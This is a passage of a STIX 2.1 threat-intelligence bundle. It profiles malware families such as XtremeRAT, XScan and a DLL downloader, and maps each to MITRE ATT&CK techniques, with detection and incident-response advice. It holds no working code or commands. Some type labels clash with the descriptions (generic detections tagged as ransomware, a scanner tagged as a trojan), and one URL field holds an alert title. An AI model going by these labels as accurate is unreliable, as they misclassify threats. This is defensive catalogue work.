      "spec_version": "2.1",
      "id": "relationship--8c51dd44-0cd8-56b3-aa3d-2dd4b793af01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55ec29ae-1e6a-5ad1-a3da-7131478798e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpyn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ecf2fc2-b6d2-5cad-967e-6306cf1b1aaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55ec29ae-1e6a-5ad1-a3da-7131478798e6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpyn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63dd1359-10b6-5d00-9cbf-7a352244f95c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55ec29ae-1e6a-5ad1-a3da-7131478798e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpyn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c99c412-03ad-5512-8df2-83d6bb2a2c9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55ec29ae-1e6a-5ad1-a3da-7131478798e6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpyn exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a68f1d3c-2eee-5680-84b2-759bfb20c5b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--55ec29ae-1e6a-5ad1-a3da-7131478798e6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xpyn exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--14070a48-5f11-5162-a93f-7854bfc887c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xrat",
      "description": "Backdoor:Win32/Xrat (widely known as **XtremeRAT** or XRAT) is a highly capable, commercially available Remote Access Trojan (RAT). While originally marketed as a legitimate remote administration tool, it has been heavily cracked, weaponized, and adopted by both low-level cybercriminals and sophisticated Advanced Persistent Threat (APT) groups (such as the Gaza Cybergang). XtremeRAT provides an attacker with complete, interactive, and invisible control over a compromised Windows host.<br><br><b>Understanding XtremeRAT</b><br>To an end-user, an XtremeRAT infection is entirely silent. There are no pop-ups or performance issues. For a SOC analyst, detecting XtremeRAT is a 'Code Red' incident. It means a human operator potentially has interactive, real-time access to the network and can bypass multi-factor authentication by acting directly from the compromised user's session.<br><br><b>Execution and Interactive Control</b><br>XtremeRAT is typically delivered via spear-phishing campaigns containing malicious attachments (`T1566.001`) or via exploit kits. Once the payload is executed, it establishes persistence, often by creating a hidden service or modifying the Registry Run keys (`T1543.003`). It then initiates an encrypted, outbound connection to the attacker's Command and Control (C2) server (`T1573`). The XtremeRAT control panel provides the attacker with a vast array of capabilities: they can view the live desktop (`T1113`), capture all keystrokes (`T1056.001`), access the webcam and microphone (`T1125`), upload/download files (`T1048`), and execute arbitrary commands in a hidden remote shell (`T1059.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of confidentiality and integrity for the host, and a high likelihood of lateral movement. Host-based IoCs include EDR alerts for anomalous services being created, unexpected processes injecting code into `explorer.exe`, or rapid, unauthorized access to sensitive files. Network IoCs include consistent, long-lived, encrypted beaconing traffic (often on non-standard ports) to dynamic DNS providers (like No-IP or DynDNS) frequently used by RAT operators. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xrat"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c0c89a1-d3a8-59d3-bb3b-c49ea7cc215e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14070a48-5f11-5162-a93f-7854bfc887c0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xrat exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2061aa3d-c212-5d8c-a43c-8c2c10d6b3b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14070a48-5f11-5162-a93f-7854bfc887c0",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xrat exhibits technique T1113 (Screen Capture (Live desktop viewing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f849310-5764-53f4-978b-713a83d62931",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14070a48-5f11-5162-a93f-7854bfc887c0",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xrat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bf18aea-749e-5539-a311-9f095b10fc75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--14070a48-5f11-5162-a93f-7854bfc887c0",
      "target_ref": "attack-pattern--a73094ae-6cb5-53a9-a937-65ad0cac8744",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xrat exhibits technique T1573 (Encrypted Channel (C2 communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6cbd48c-d262-537e-bdb7-c0d3f77703fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xscan",
      "description": "<h3>Executive Summary</h3>\nXScan is a powerful, legacy network vulnerability scanner and enumeration tool. Originally developed as a legitimate security auditing utility, it has been widely co-opted by threat actors and Initial Access Brokers. Its presence on a corporate network is highly suspicious; it is frequently utilized by attackers during the reconnaissance and lateral movement phases of an intrusion to rapidly identify vulnerable services, open ports, and weak credentials across the internal network infrastructure.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nXScan is not self-replicating malware. It is a standalone executable (HackTool) that must be manually deployed and executed by an attacker who has already breached the perimeter, or by a malicious insider.\n\nUpon execution, XScan provides comprehensive network mapping capabilities:\n<ul>\n<li><strong>Multi-threaded Port Scanning:</strong> It can rapidly sweep massive IP ranges, identifying active hosts and cataloging open TCP/UDP ports.</li>\n<li><strong>Vulnerability Probing:</strong> XScan contains an extensive database of known vulnerabilities. It actively probes discovered services (like RPC, SMB, IIS, and FTP) to determine if they are susceptible to specific exploits or configuration flaws.</li>\n<li><strong>Credential Brute-Forcing:</strong> It includes built-in dictionary attack capabilities to aggressively brute-force passwords for common services like SSH, FTP, Telnet, and Windows File Sharing (SMB), attempting to leverage weak passwords for lateral movement.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of XScan (or similar network scanners like Nmap or Masscan) running from an unauthorized, non-administrative endpoint is a critical indicator of an active internal breach. It signifies that an attacker has established a beachhead and is actively hunting for vulnerable targets to escalate privileges or move laterally toward critical infrastructure.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Identify the Source:</strong> Immediately trace the execution of the XScan executable back to the originating endpoint. This endpoint must be considered fully compromised and isolated from the network instantly.</li>\n<li><strong>Analyze Scanner Output (If Possible):</strong> If the XScan execution logs or output files can be recovered from the compromised endpoint, analyze them to determine exactly what the attacker discovered about the internal network (e.g., which servers were identified as vulnerable).</li>\n<li><strong>Forensic Investigation:</strong> Because XScan is a post-exploitation tool, the primary incident response focus must be determining *how* the attacker gained access to the endpoint in the first place (e.g., phishing, RDP brute-forcing) and closing that initial vector.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.XScan",
        "Riskware.Scanner",
        "Win32/XScan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xscan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xscan"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ce59a20-87a5-54b4-8bd1-2ee31b685cde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6cbd48c-d262-537e-bdb7-c0d3f77703fa",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xscan exhibits technique T1046 (Network Service Discovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--87bbdf97-6078-5ed6-aecc-68dc7e8c078c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1018: Remote System Discovery",
      "description": "MITRE ATT&CK Technique T1018 (Remote System Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1018",
          "url": "https://attack.mitre.org/techniques/T1018/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c8af84a-65d2-5af9-94f9-3c42808be6b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6cbd48c-d262-537e-bdb7-c0d3f77703fa",
      "target_ref": "attack-pattern--87bbdf97-6078-5ed6-aecc-68dc7e8c078c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xscan exhibits technique T1018 (Remote System Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e8002f4-2c54-5f5b-b041-2df60d224e06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a6cbd48c-d262-537e-bdb7-c0d3f77703fa",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xscan exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xtrat",
      "description": "Xtreme RAT (widely tracked as xtrat or xrat) is a feature-complete, commercial-grade remote access trojan that first surfaced in late 2010. Engineered originally by an underground developer known as 'ip-owner' and sold on Arabic and English cybercrime forums, the tool quickly transcended ordinary cybercrime to become a favorite espionage weapon of advanced persistent threat (APT) actors.\n\nXtreme RAT is notorious for its extensive surveillance and operational capabilities: it captures keystrokes, streams live video and audio from attached webcams and microphones, steals browser credentials, manipulates the local registry and file system, and provides interactive reverse command shells. The trojan was prominently deployed by state-sponsored actors including APT28 (Fancy Bear / Sofacy), the Syrian Electronic Army (SEA), and Middle Eastern espionage syndicates targeting defense contractors, government ministries, and political dissidents. Distribution was typically executed via targeted spear-phishing campaigns delivering weaponized Microsoft Office documents exploiting CVE-2012-0158 (ActiveX MSCOMCTL.OCX) and CVE-2014-1761, dropping packed payloads into the AppData directory. (Observed samples in benchmark: 35,969)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Xtreme RAT",
        "XtremeRAT",
        "xrat",
        "xtrat",
        "XRat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xtrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xtrat"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "US-CERT Alert TA14-149A (Targeted Attacks Against Defense Entities)"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96c1d7f0-1ca2-51c7-a2d9-09b9f50a453f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe82c8a6-e4df-5855-9c65-7398699a5df3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caa1de85-e351-5b0b-9373-40bdec04bf85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--340c99d9-6b4c-543b-8024-3317e4fcc2ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b61d376-64d2-52e7-a668-fdfb8ec1ea22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5dfc765-247e-5329-a37b-dc80b98c8c13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d422c960-76d3-5559-be55-6d0a699f3054",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89299e16-b4e6-59ce-ba41-2c920d776260",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--aaea851e-ff7d-5506-910d-01ea5d0b3326",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xtrat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--62a7e8bf-29c9-55e3-9d17-2c0db966eb1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xundlldl",
      "description": "<h3>Executive Summary</h3>\nXundlldl is a generic detection identifier utilized by security vendors to flag malicious executables that specifically act as DLL (Dynamic Link Library) downloaders. This trojan acts as a crucial initial access mechanism, designed to silently fetch and inject malicious DLL payloads into memory, bypassing standard file-based antivirus scanning and initiating severe enterprise compromises.\n\n<h3>Technical Architecture and Execution Flow</h3>\nXundlldl is typically distributed as a small, seemingly innocuous executable or as a macro within a weaponized Office document.\n\nIts execution lifecycle relies heavily on stealth and native Windows processes:\n<ul>\n<li><strong>Payload Retrieval:</strong> Upon execution, the Xundlldl dropper reaches out to a remote command-and-control (C2) server to download a highly obfuscated or encrypted DLL file.</li>\n<li><strong>DLL Sideloading / Injection:</strong> To evade detection, the trojan frequently employs DLL sideloading or reflective DLL injection. Instead of writing the malicious DLL to the hard drive, Xundlldl allocates memory within a legitimate, running process (like `svchost.exe` or `explorer.exe`) and directly injects the malicious DLL code into that process space.</li>\n<li><strong>Execution via Rundll32:</strong> Alternatively, the trojan may write the DLL to disk and utilize the legitimate Windows `rundll32.exe` utility to execute specific exported functions within the malicious library, attempting to blend in with normal administrative activity.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Xundlldl detection is a critical security incident. The trojan itself is merely the delivery vehicle; the true threat lies in the downloaded DLL. These payloads frequently include advanced Remote Access Trojans (RATs) like Cobalt Strike beacons, banking trojans, or the encryption modules for enterprise ransomware.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>EDR Monitoring:</strong> Standard antivirus is often blind to in-memory DLL injection. Deploy advanced EDR solutions configured to monitor for anomalous parent-child process relationships (e.g., Office applications spawning `rundll32.exe` or `regsvr32.exe`) and cross-process memory injection.</li>\n<li><strong>Immediate Network Isolation:</strong> If Xundlldl activity is detected, isolate the endpoint immediately to severe the C2 connection and halt the download of the primary malicious payload.</li>\n<li><strong>Memory Forensics:</strong> A standard disk scan is insufficient. Responders must capture a live memory dump of the infected host to extract and analyze the injected DLL payload to understand the true scope of the compromise.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Downloader.DLL",
        "Generic.Xundlldl",
        "Win32/Xundlldl"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xundlldl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xundlldl"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae68b27b-6ef1-51fa-98b4-10ce432ae0f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62a7e8bf-29c9-55e3-9d17-2c0db966eb1d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xundlldl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--146aa09a-8eaa-505f-b40e-5ef1a9124dcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62a7e8bf-29c9-55e3-9d17-2c0db966eb1d",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xundlldl exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c970863-ede1-5977-8045-34e57bf5017e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--62a7e8bf-29c9-55e3-9d17-2c0db966eb1d",
      "target_ref": "attack-pattern--e8a716be-4ab8-579e-95cd-cf3d09459cfc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xundlldl exhibits technique T1218.011 (System Binary Proxy Execution: Rundll32)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6e159faa-0840-59a1-9ce6-1f11c827c85d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xunleihd",
      "description": "Adware:Win32/Xunleihd is an intrusive Potentially Unwanted Program (PUP) categorized as a malicious Browser Extension or Hijacker, primarily targeting users seeking media downloads or torrenting capabilities. It frequently piggybacks on or mimics the popular Chinese download manager 'Xunlei' (Thunder). It forcibly alters a user's web browsing experience by manipulating browser settings, injecting unwanted advertisements, and tracking user behavior to generate illicit Pay-Per-Click (PPC) revenue.<br><br><b>Understanding Xunleihd</b><br>To an end-user, Xunleihd manifests as an unexpected download manager toolbar, persistent pop-up ads offering HD video downloads, and the forced redirection of their default search engine to a low-quality, third-party portal. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (`T1189`).<br><br><b>Execution and Hijacking Mechanics</b><br>Xunleihd is typically distributed via deceptive software bundles, fake codec installers on streaming sites, or by tricking the user on malicious torrent portals. Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to force-install the extension (`T1176`). It establishes persistence by creating a scheduled task or a run key to ensure the adware background processes (often named similarly to legitimate Xunlei processes to evade casual inspection) launch on boot. It then monitors network traffic to inject its own ads into HTTP streams and redirect search queries.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, massive bandwidth consumption (if the P2P components are active), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to Chrome's or Firefox's Extensions directory, or anomalous executables running from `%AppData%` mimicking 'Thunder' or 'Xunlei' names if the legitimate software is not authorized. Network IoCs include DNS queries resolving to adware tracking infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Xunleihd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/xunleihd"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e83c6701-da15-5138-bde8-f3c1e465f8b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e159faa-0840-59a1-9ce6-1f11c827c85d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xunleihd exhibits technique T1176 (Browser Extensions (Force-installing the adware component))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2b1edff-0515-5a77-a881-a813b5fac2f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e159faa-0840-59a1-9ce6-1f11c827c85d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xunleihd exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4eda0dbc-0141-574f-b21c-dfa7bf630ac0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6e159faa-0840-59a1-9ce6-1f11c827c85d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Xunleihd exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b94a24dc-2d9a-59df-b6c3-d36cc6570e65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Xxybsq",
      "description": "<h3>Executive Summary</h3>\n\"Xxybsq\" represents a generic threat identifier generated by heuristic analysis engines within endpoint protection platforms (EPP). It does not denote a specific malware family, but rather flags an executable file that displays behavioral patterns strongly associated with malicious activity, such as droppers, trojans, or ransomware precursors.\n\n<h3>Behavioral Analysis and Triggers</h3>\nSecurity vendors utilize automated naming conventions like \"Xxybsq\" when a file fails behavioral reputation checks but lacks a definitive signature. \n\nFiles assigned the Xxybsq identifier frequently exhibit the following anomalous behaviors:\n<ul>\n<li><strong>Persistence Mechanisms:</strong> Attempting to silently modify critical Windows Registry keys (e.g., `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or create hidden Scheduled Tasks to ensure the program executes automatically upon system boot.</li>\n<li><strong>Defense Evasion:</strong> Actively attempting to disable Windows Defender, terminate EDR agent processes, or unhook user-mode APIs utilized by security software for monitoring.</li>\n<li><strong>Dropper Activity:</strong> Writing executable files (`.exe`, `.dll`) into temporary directories (`%TEMP%` or `%AppData%`) and subsequently executing them, which is a classic indicator of a primary payload being delivered.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn Xxybsq detection is a high-severity alert. Because the true nature of the threat is obfuscated, responders must assume the worst-case scenario: that the file is an initial access broker attempting to establish a beachhead for a larger, targeted attack on the enterprise network.\n\n<h3>Remediation and Mitigation</h3>\n<ul>\n<li><strong>Endpoint Isolation:</strong> Sever the affected machine's network connection immediately (either physically or via the EDR console) to halt any potential command-and-control (C2) communication.</li>\n<li><strong>Forensic Investigation:</strong> Capture a memory dump and disk image of the isolated host to determine exactly what the Xxybsq file attempted to execute, focusing on identifying the secondary payload.</li>\n<li><strong>IOC Blocking:</strong> Extract the file hash (SHA-256) and any network indicators observed during the alert, and proactively block them across all enterprise firewalls and endpoint security tools.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Xxybsq",
        "Generic.Xxybsq",
